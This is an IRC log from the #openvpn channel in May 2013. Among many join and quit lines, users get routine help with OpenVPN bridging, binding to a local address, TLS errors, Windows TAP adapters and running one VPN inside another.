21:15 < pr3dict> pixie dust is always nice haha
21:15 < pr3dict> i understand a good amount of networking... its just routing and subnets that always did me in
21:17 < pekster> That's a big part of networking. That said, Windows is an awful platform to learn much of that on
21:25 < pr3dict> haha
21:48 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
21:52 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
21:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:06 -!- pr3dict [60f62532@gateway/web/freenode/ip.96.246.37.50] has quit [Ping timeout: 250 seconds]
22:23 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
22:24 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.0]
22:30 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
22:33 -!- tjz [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 256 seconds]
22:39 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
22:41 -!- Poster|x is now known as Poster
22:55 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
22:57 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
23:04 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
23:06 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
23:22 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
23:32 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Excess Flood]
23:39 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
23:42 -!- 92AAAM1NW [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:56 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 252 seconds]
23:59 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
--- Day changed Fri May 17 2013
00:01 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
00:03 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
00:13 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
00:13 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
00:19 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
00:22 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
00:25 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
00:32 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
00:48 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
01:00 -!- AndChat|698676 [~AndChat69@46.115.94.247] has joined #openvpn
01:04 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 245 seconds]
01:05 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
01:05 -!- AndChat|698676 [~AndChat69@46.115.94.247] has quit [Ping timeout: 256 seconds]
01:16 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
01:16 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:18 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 252 seconds]
01:21 -!- Ungi [~AndChat69@46.115.112.118] has joined #openvpn
01:21 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:24 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
01:25 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 276 seconds]
01:25 -!- Ungi [~AndChat69@46.115.112.118] has quit [Ping timeout: 252 seconds]
01:27 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
01:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:53 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
02:00 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
02:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
02:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
02:15 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:29 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
02:31 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
02:33 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
02:35 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Connection reset by peer]
02:41 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 248 seconds]
02:48 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
02:51 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
02:54 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:55 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
03:02 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:05 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
03:11 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:15 -!- AndChat|698676 [~AndChat69@2.208.226.123] has joined #openvpn
03:18 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 276 seconds]
03:20 -!- AndChat|698676 [~AndChat69@2.208.226.123] has quit [Ping timeout: 276 seconds]
03:20 -!- Ungi [~AndChat69@2.208.226.123] has joined #openvpn
03:23 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Operation timed out]
03:23 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Connection reset by peer]
03:27 -!- Ungi [~AndChat69@2.208.226.123] has quit [Ping timeout: 256 seconds]
03:29 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
03:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:34 -!- Ungi [~AndChat69@2.208.226.123] has joined #openvpn
03:34 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
03:36 -!- AndChat-698676 [~AndChat69@2.214.67.15] has joined #openvpn
03:38 -!- Ungi [~AndChat69@2.208.226.123] has quit [Ping timeout: 252 seconds]
03:39 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 264 seconds]
03:40 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
03:41 -!- AndChat-698676 [~AndChat69@2.214.67.15] has quit [Ping timeout: 276 seconds]
03:41 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:41 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
03:42 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
03:43 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
03:44 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:45 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
03:47 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 256 seconds]
03:50 -!- lbft is now known as Nick_L
03:50 -!- Wintereise is now known as Nick_P
03:52 -!- Nick_L is now known as lbft
03:53 -!- Nick_P is now known as Wintereise
03:53 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:55 -!- Scapal [~Scapal@host-85-201-20-117.brutele.be] has joined #openvpn
03:55 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:56 -!- Scapal [~Scapal@host-85-201-20-117.brutele.be] has left #openvpn []
03:58 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Read error: Connection reset by peer]
04:00 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
04:05 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
04:05 -!- mode/#openvpn [+o novaflash] by ChanServ
04:07 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:09 -!- p3rror [~p3rror@41.249.253.52] has left #openvpn ["Leaving"]
04:09 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:10 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
04:10 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:12 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
04:15 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
04:19 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:20 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:26 -!- kubbing_ [~kubbing@ip-89-177-146-101.net.upcbroadband.cz] has joined #openvpn
04:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
04:29 -!- Ungi [~AndChat69@46.115.113.22] has joined #openvpn
04:32 -!- BtbN [~btbn@btbn.de] has quit [Quit: Bye]
04:33 -!- Ungi [~AndChat69@46.115.113.22] has quit [Ping timeout: 248 seconds]
04:34 -!- BtbN [~btbn@btbn.de] has joined #openvpn
04:37 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
04:40 -!- AndChat|698676 [~AndChat69@46.115.80.82] has joined #openvpn
04:42 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
04:44 -!- AndChat|698676 [~AndChat69@46.115.80.82] has quit [Ping timeout: 264 seconds]
04:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:48 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Read error: Operation timed out]
04:49 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
04:49 -!- kubbing_ [~kubbing@ip-89-177-146-101.net.upcbroadband.cz] has quit [Read error: Operation timed out]
04:54 -!- Ungi [~AndChat69@176.5.4.113] has joined #openvpn
04:54 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
04:54 < AndChat|698676> quit
04:56 -!- Khas [~quassel@149.255.99.55] has left #openvpn []
04:58 -!- Ungi [~AndChat69@176.5.4.113] has quit [Ping timeout: 252 seconds]
04:59 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
05:13 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:16 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:32 -!- erry is now known as evilerry
05:33 -!- evilerry is now known as erry
05:39 < swiftkey> hello
05:39 < swiftkey> i setup openvpn ssl
05:39 < swiftkey> how can i access my network?
05:44 < Slippern> depends on your openvpn config.
05:48 < swiftkey> erm what type of config usually?
05:48 < swiftkey> i dont know what to search in google
05:48 < swiftkey> heh
05:48 < swiftkey> i can ping
05:49 < swiftkey> but im not able to see my network
05:49 < swiftkey> i can access my webserver as well
05:49 < swiftkey> but not the files
05:49 < Slippern> what server os?
05:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
05:50 < swiftkey> centos
05:50 < Slippern> do you use tun or tap?
05:50 < swiftkey> just tap
05:50 < swiftkey> bridged
05:50 < Slippern> Lihkku beivviin ráhkkis Norga
05:50 < Slippern> faak
05:50 < Slippern> http://duncanbrown.org/index.php/OpenVPN_With_CentOS
05:50 <@vpnHelper> Title: OpenVPN With CentOS - DuncanWiki (at duncanbrown.org)
05:51 < Slippern> http://blog.solidshellsecurity.com/2013/01/15/openvpn-installation-configuration-setup-centos-5-6-32-64bit-openvz-xen-kvm/
05:51 <@vpnHelper> Title: OpenVPN Installation, configuration and setup. CentOS 5 and 6 for 32 and 64bit and OpenVZ / XEN / KVM | Security, Server Tweaking, IT Management Blog By SolidShellSecurity (at blog.solidshellsecurity.com)
05:52 < swiftkey> i dont know whats openvpnvz /xen /kvm
05:52 < swiftkey> just openvpn
05:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
06:00 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
06:03 < Slippern> just read, you need to enable ipv4 forwarding and make som iptables rules.
06:04 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
06:06 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
06:09 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
06:13 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
06:19 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
06:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:00 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 276 seconds]
07:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
07:27 -!- mattock_afk is now known as mattock
07:51 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:52 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
07:54 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
07:59 -!- niobos [~niobos@serv02.imset.org] has joined #openvpn
07:59 -!- mitz__ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
08:00 < niobos> Hi, I'm having a (minor) issue with OpenVPN, but I'm not sure if this is a bug, or expected behavior
08:00 < niobos> I'm trying to use multiple (2 in my case) <connection> sections in a config file
08:01 < niobos> and supply a --local 1.2.3.4 address on the command line to bind to a specific IP
08:01 < niobos> this combination does not seem to work
08:02 < niobos> (i.e., OpenVPN binds to 0.0.0.0:1194 instead of 1.2.3.4:1194)
08:02 < niobos> If I use a config file without a <connection> section, it works as expected (bind() to 1.2.3.4:1194)
08:02 < niobos> if I include the `local 1.2.3.4` in each <connection>, it works as well
08:03 < niobos> Is this a bug, or is this the expected behaviour?
08:03 < niobos> context: I'm trying to start an OpenVPN tunnel on each interface, but bound to that specific IP.
08:04 -!- pagios [~pagios@46.19.194.96] has joined #openvpn
08:04 -!- mitz__ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
08:05 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
08:07 < pagios> so!
08:08 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
08:10 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:12 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
08:13 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
08:13 < pekster> niobos: So, the manpage description of <connection> blocks has a statement to the effect that of the options that can appear inside such a block (like --local) the default is only used when placd above the connection block, not below
08:13 < pekster> (see the last 2 paragraphs for a more full description)
08:18 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
08:20 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:20 < niobos> pekster: does the command-line count as before, after, or depending on the order of the arguments?
08:21 < niobos> ok, my quick test seems to indicate it's that last option
08:24 < pekster> It might depend on where it is realtive to your --config, but that's not clearly defined behaviour (if you use --local before --config on the command line with respect to <connection> profiles)
08:24 < pekster> That might be a corner case, since most of the time you'd just put it in the config file anyway if you're using one
08:24 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
08:27 < niobos> in my situation, I want to set up multiple tunnels, all with the same config, with only the --local parameter different
08:27 < niobos> so I use a single config-file, and spin up multiple daemons by passing --local on the CLI
08:27 < niobos> if I do --local 1.2.3.4 --config bla.conf, it seems to work
08:27 < niobos> but I couldn't find this behaviour documenten
08:28 < niobos> which worries me a bit to reliability of this setup
08:28 < niobos> as you said: corner case
08:29 < pekster> It is documented where I said (last 2 paragraphs for <connection>)
08:30 < pekster> The only bit that's unclear is what constitutes a "<connection> block which follow[s a CLI option]"
08:30 < pekster> Presumably the <connection> block "follows" --local foo --config my.conf but not --config my.conf --local foo
08:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
08:31 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
08:33 < niobos> pekster: that is consisten with my observed behaviour, but indeed not cristal clear from the doc.
08:33 < niobos> but I can manage from here
08:33 < niobos> thanks!
08:44 -!- niobos [~niobos@serv02.imset.org] has quit [Quit: leaving]
08:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:57 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:59 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:59 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
09:00 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
09:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:20 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
09:21 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
09:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
09:51 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
09:51 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
09:52 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:53 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
09:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:57 -!- pr3dict [60f62532@gateway/web/freenode/ip.96.246.37.50] has joined #openvpn
09:57 < pr3dict> morning everyyyone
09:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:01 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
10:04 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
10:06 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
10:13 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
10:17 -!- mndo [~mndo@bl16-45-162.dsl.telepac.pt] has joined #openvpn
10:21 -!- pr3dict [60f62532@gateway/web/freenode/ip.96.246.37.50] has quit [Quit: Page closed]
10:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
10:40 < rooth> <27>May 17 11:14:50 openvpn[675]: TLS Error: Unroutable control packet received from IP_ADDRESS_REMOVED:1194 (si=3 op=P_ACK_V1) <-- Is there any other "known" reason than time that can cause this error message?
10:40 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:43 < rooth> Upon Googling, all the hits seem to talk about time-sync issues between client and server but since the logfile is timestamped somewhat correctly on the client and the server is being used by another ~100 units I wouldn't think that time is the issue in this case.
10:44 < rooth> I also get two other error messages on the client : Same preabmle, i.e. unroutable control bla bla, different ending --> (si=3 op=P_CONTROL_V1) (si=3 op=P_ACK_V1)
10:45  * rooth need to leave office but back in a few hours, will leave screen+irssi running.
10:50 -!- majuscule [~dylan@dylansserver.com] has quit [Quit: leaving]
10:54 -!- WOOOP [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has left #openvpn []
10:56 -!- pr3dict [60f62532@gateway/web/freenode/ip.96.246.37.50] has joined #openvpn
11:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:03 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
11:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:07 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
11:08 -!- raidz_away is now known as raidz
11:10 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
11:12 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
11:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:31 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
11:33 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
11:33 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
11:35 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
11:36 -!- mndo [~mndo@bl16-45-162.dsl.telepac.pt] has quit [Ping timeout: 264 seconds]
11:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:43 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:51 -!- mndo [~mndo@bl16-45-162.dsl.telepac.pt] has joined #openvpn
12:00 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
12:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
12:09 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
12:10 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
12:18 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
12:21 -!- mirco [~mirco@p50804B71.dip0.t-ipconnect.de] has quit [Quit: mirco]
12:21 -!- mirco [~mirco@p50804B71.dip0.t-ipconnect.de] has joined #openvpn
12:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:34 -!- lbft [~lbft@tools2.lbft.net] has quit [Quit: Bye]
12:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Client Quit]
12:35 -!- lbft [~lbft@tools2.lbft.net] has joined #openvpn
12:53 -!- ducky [~ducky@unaffiliated/ducky] has left #openvpn []
13:02 -!- mndo [~mndo@bl16-45-162.dsl.telepac.pt] has quit [Quit: going home]
13:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Remote host closed the connection]
13:13 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
13:13 -!- mode/#openvpn [+o raidz] by ChanServ
13:17 -!- mirco [~mirco@p50804B71.dip0.t-ipconnect.de] has quit [Quit: mirco]
13:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
13:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:50 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
13:51 -!- p3rror [~p3rror@41.248.221.161] has joined #openvpn
13:56 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
14:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:21 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
14:29 -!- ducky [~ducky@unaffiliated/ducky] has joined #openvpn
14:31 -!- pr3dict [60f62532@gateway/web/freenode/ip.96.246.37.50] has quit [Ping timeout: 250 seconds]
14:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:03 -!- brian__ is now known as bwallen
15:04 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Quit: ChatZilla 0.9.87 [SeaMonkey 2.6a1/20110829214107]]
15:04 < bwallen> In the windows client is it possible to install multiple tun devices so I can run more than one VPN at the same time?
15:07 < pekster> bwallen: Yup, the recent versions split out the Tap-Win32 stuff into its own installed program, so look for a separate entry in your programs or start menu to add a new tap device, or delete all of them
15:07 < pekster> Older versions put those batch scripts into the \bin\ folder of the installed openvpn program
15:07 < rob0> Is it as simple as just running another openvpn instance? That's how it works in Linux, anyway.
15:09 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
15:10 < pekster> rob0: Nope, it'll bail with no available adapters
15:10 < pekster> You need to explicitly add a tap device for every concurrent VPN you want, and the devices then stick around until you delete them
15:11 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
15:12 < rob0> heh
15:12 < bwallen> pekster: Thanks, that worked
15:16 < bwallen> One more question - I want to connect to my VPN server at home via a 3rd party VPN service. The reason for this is that I don't want anyone on the network I'm connecting from to see the IP address of my home network. Is it possible to route a VPN through another VPN using the Windows client?
15:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:19 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Now with extra fish!]
15:19 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:21 < pekster> Sure, easiest way to do that is to add a host-route to your ultimate target routed via the intermediate. But that's sort of a silly reason
15:21 < pekster> The VPN already secures the traffic; an IP doesn't help anyone
15:22 < bwallen> pekster: My reasoning is that it gives them something to attack. I just don't want them to compromise my router with some 0day or known exploit
15:23 < bwallen> My paranoia is probably on the higher end of the scale :)
15:23 < pekster> It's probably not hard to get that if a skilled attacker really wants it; all they need to do is disrupt your outside VPN connection so that it goes down, the routing table change causes the "real" target connection to be sent across your physical uplink, and they get it anyway
15:23 < pekster> So is mine. I secure my setups, not run VPNs over VPNs
15:25 < pekster> Not to mention if you ever check work email or something from home they "have" your IP anyway
15:25 < pekster> An IP won't compromise your setup anymore than displaying your address on your home does
15:26 < pekster> But in theory that's fine; either redirect all your traffic accross the intermediate VPN, or don't accept that route (if you want to do that in the "inside" VPN) and simply add a host-route for it
15:40 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:04 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
16:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:24 -!- mattock is now known as mattock_afk
16:38 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
16:41 -!- Zenum is now known as Console
16:41 -!- Console is now known as Konsole
16:41 -!- Konsole is now known as Console
16:41 -!- Console is now known as Zenum
16:48 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:55 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
16:57 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:59 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
17:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
17:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:25 -!- p3rror [~p3rror@41.248.221.161] has quit [Ping timeout: 248 seconds]
17:25 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 260 seconds]
17:29 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
